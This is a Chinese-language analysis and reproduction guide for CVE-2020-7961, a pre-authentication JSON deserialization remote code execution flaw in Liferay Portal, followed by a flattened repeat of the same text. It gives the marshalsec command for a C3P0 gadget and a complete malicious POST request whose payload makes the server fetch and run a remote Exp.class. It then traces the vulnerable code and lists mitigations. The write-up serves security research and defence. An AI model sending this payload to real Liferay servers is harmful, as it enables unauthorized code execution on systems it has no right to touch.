CVE-2020-7961 Liferay Portal 反序列化RCE分析
字数 1565 2025-08-25 22:58:29

Liferay Portal JSON反序列化RCE漏洞(CVE-2020-7961)深度分析与利用指南

漏洞概述

CVE-2020-7961是Liferay Portal中的一个JSON反序列化远程代码执行漏洞,攻击者可以通过发送特制的payload到服务器实现远程代码执行。该漏洞的核心问题在于:在身份认证拒绝之前就反序列化了传入的json Object

影响版本

  • Liferay Portal 6.1
  • Liferay Portal 6.2
  • Liferay Portal 7.0
  • Liferay Portal 7.1
  • Liferay Portal 7.2

环境搭建

  1. 下载受影响版本的Liferay Portal:

    https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1
    

    选择tomcat集成包进行安装

  2. 配置调试环境(可选):
    修改liferay-ce-portal-7.2.0-ga1\tomcat-9.0.17\bin\catalina.bat,首行加入:

    set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001
    

漏洞复现步骤

  1. 生成POC:

    java -cp target\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://127.0.0.1:8989/ Exp
    
  2. 本地起HTTP服务托管Exp.class文件

  3. 发送恶意请求:

    POST /api/jsonws/invoke HTTP/1.1
    Host: php.local:8080
    Content-Length: 1355
    Content-Type: application/x-www-form-urlencoded
    Connection: close
    
    cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3Aaced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a7070707070707070707078740003457870740016687474703a2f2f3132372e302e302e313a383938392f740003466f6f%3B%22%7D
    
  4. 成功执行后,服务器将加载远程的Exp.class文件并执行其中的代码(如弹出计算器)

漏洞分析

API调用流程

  1. 入口点web.xml中的映射规则/api/jsonws/*对应com.liferay.portal.jsonwebservice.JSONWebServiceServlet

  2. 服务分发

    • 访问http://127.0.0.1:8080/api/jsonws可查看所有API方法
    • 调用方式:
      • 通过/api/jsonws/invoke POST传递方法和参数
      • 通过URL形式/api/jsonws/service-class-name/service-method-name
  3. 认证绕过

    • checkAuthToken()中,当authType为空时直接返回,不进行认证
    • 这使得反序列化操作在认证前就已执行

反序列化点分析

关键漏洞点位于com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_convertValueToParameterValue方法中:

private Object _convertValueToParameterValue(Object value, Class<?> parameterType, Class<?>[] genericParameterTypes) {
    // ...
    if (!valueString.startsWith("{")) {
        throw new ClassCastException(var9.getMessage());
    }
    parameterValue = JSONFactoryUtil.looseDeserialize(valueString, parameterType);
    // ...
}

当传入的参数值以{开头时,会调用JSONFactoryUtil.looseDeserialize进行反序列化,且parameterType可控。

参数类型控制

通过com.liferay.portal.jsonwebservice.JSONWebServiceActionParametersMap#put方法:

  • 当参数名包含:时,会将_parameterTypes赋值为截取的key、typeName组成的hashmap
  • 这使得parameterType变得可控,从而可以指定反序列化的目标类

可利用的API

搜索Object参数类型的API,发现多个API可传入Object,例如:

  • /expandocolumn/update-column
  • /expandocolumn/add-column(漏洞复现中使用)

利用链(Gadget)

使用C3P0的利用链:

  • 版本:0.9.5.2及以上(测试到0.9.5.5仍可用)
  • 利用类:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource

防御建议

  1. 升级到已修复版本
  2. 限制JSON反序列化的类白名单
  3. 加强认证机制,确保反序列化操作在认证之后进行
  4. 监控和过滤可疑的API请求

参考链接

  1. C3P0 gadget in ysoserial
  2. Code White原始分析
  3. Liferay官方JSON Web Services文档
Liferay Portal JSON反序列化RCE漏洞(CVE-2020-7961)深度分析与利用指南 漏洞概述 CVE-2020-7961是Liferay Portal中的一个JSON反序列化远程代码执行漏洞,攻击者可以通过发送特制的payload到服务器实现远程代码执行。该漏洞的核心问题在于: 在身份认证拒绝之前就反序列化了传入的json Object 。 影响版本 Liferay Portal 6.1 Liferay Portal 6.2 Liferay Portal 7.0 Liferay Portal 7.1 Liferay Portal 7.2 环境搭建 下载受影响版本的Liferay Portal: 选择tomcat集成包进行安装 配置调试环境(可选): 修改 liferay-ce-portal-7.2.0-ga1\tomcat-9.0.17\bin\catalina.bat ,首行加入: 漏洞复现步骤 生成POC: 本地起HTTP服务托管Exp.class文件 发送恶意请求: 成功执行后,服务器将加载远程的Exp.class文件并执行其中的代码(如弹出计算器) 漏洞分析 API调用流程 入口点 : web.xml 中的映射规则 /api/jsonws/* 对应 com.liferay.portal.jsonwebservice.JSONWebServiceServlet 服务分发 : 访问 http://127.0.0.1:8080/api/jsonws 可查看所有API方法 调用方式: 通过 /api/jsonws/invoke POST传递方法和参数 通过URL形式 /api/jsonws/service-class-name/service-method-name 认证绕过 : 在 checkAuthToken() 中,当 authType 为空时直接返回,不进行认证 这使得反序列化操作在认证前就已执行 反序列化点分析 关键漏洞点位于 com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_convertValueToParameterValue 方法中: 当传入的参数值以 { 开头时,会调用 JSONFactoryUtil.looseDeserialize 进行反序列化,且 parameterType 可控。 参数类型控制 通过 com.liferay.portal.jsonwebservice.JSONWebServiceActionParametersMap#put 方法: 当参数名包含 : 时,会将 _parameterTypes 赋值为截取的key、typeName组成的hashmap 这使得 parameterType 变得可控,从而可以指定反序列化的目标类 可利用的API 搜索 Object 参数类型的API,发现多个API可传入Object,例如: /expandocolumn/update-column /expandocolumn/add-column (漏洞复现中使用) 利用链(Gadget) 使用C3P0的利用链: 版本:0.9.5.2及以上(测试到0.9.5.5仍可用) 利用类: com.mchange.v2.c3p0.WrapperConnectionPoolDataSource 防御建议 升级到已修复版本 限制JSON反序列化的类白名单 加强认证机制,确保反序列化操作在认证之后进行 监控和过滤可疑的API请求 参考链接 C3P0 gadget in ysoserial Code White原始分析 Liferay官方JSON Web Services文档